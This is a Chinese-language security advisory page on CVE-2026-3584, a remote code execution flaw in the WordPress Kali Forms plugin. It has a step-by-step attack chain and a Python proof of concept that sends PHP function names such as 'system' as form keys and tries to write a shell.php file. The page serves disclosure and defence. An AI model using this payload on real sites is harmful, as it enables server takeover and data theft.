IPBUF安全漏洞报告
English
CVE-2026-3584 CVSS 9.8 严重

CVE-2026-3584 WordPress Kali Forms插件远程代码执行漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-3584
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Kali Forms 插件

相关标签

RCEWordPressKali FormsCVE-2026-3584无需认证Web安全

漏洞概述

WordPress Kali Forms插件在所有版本至2.4.9中存在严重的远程代码执行漏洞。该漏洞源于`prepare_post_data`函数将用户提供的键直接映射到内部占位符存储中,并结合对这些占位符值使用`call_user_func`。未经身份验证的攻击者可利用此漏洞在服务器上执行任意代码,导致服务器完全被控制,造成严重的数据泄露和破坏风险。

技术细节

该漏洞的核心问题在于Kali Forms插件处理表单提交时的不安全数据处理机制。具体来说,插件的`form_process`函数调用了`prepare_post_data`函数。在处理过程中,该函数直接将用户提交的POST数据中的键名映射为内部变量或占位符。随后,程序使用PHP的`call_user_func`函数对这些数据进行动态调用。由于缺乏对用户输入键名的严格过滤和验证,攻击者可以构造恶意的键名(例如包含系统命令或危险函数名)。当这些恶意键名被传递给`call_user_func`时,程序会将其作为回调函数执行。攻击者无需通过WordPress的身份验证,只需向表单处理接口发送特制的HTTP POST请求,即可触发该漏洞,并在服务器端上下文中执行任意PHP代码或系统命令。

攻击链分析

STEP 1
侦察
攻击者扫描目标网站,识别是否使用了WordPress以及是否安装了存在漏洞的Kali Forms插件(版本<= 2.4.9)。
STEP 2
武器化
攻击者构造恶意的HTTP POST请求数据,将PHP危险函数(如system, exec)作为参数键名,将系统命令作为参数值。
STEP 3
投递
攻击者向目标服务器的表单处理接口(通常是WordPress的admin-ajax.php或特定前端路由)发送构造好的恶意请求。
STEP 4
利用
服务器端插件接收到数据,`prepare_post_data`将恶意键名存入存储,随后`call_user_func`调用该键名对应的函数,导致代码执行。
STEP 5
安装与行动
攻击者在服务器上执行任意命令,获取Webshell权限,进而控制服务器或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual target) target_url = "http://example.com/wp-admin/admin-ajax.php" # The payload exploits the prepare_post_data -> call_user_func issue # We map a PHP function name (key) to an argument (value) payload = { "action": "kali_forms_process_form", # Specific action for the plugin "form_id": "1", # Malicious payload: 'system' is the function, 'id' is the command "system": "id", # Another example to write a webshell "file_put_contents": ["shell.php", "<?php phpinfo(); ?>"] } try: response = requests.post(target_url, data=payload) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")

影响范围

Kali Forms <= 2.4.9

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Kali Forms插件,直至应用安全补丁。同时,检查服务器日志中是否存在异常的代码执行记录或可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表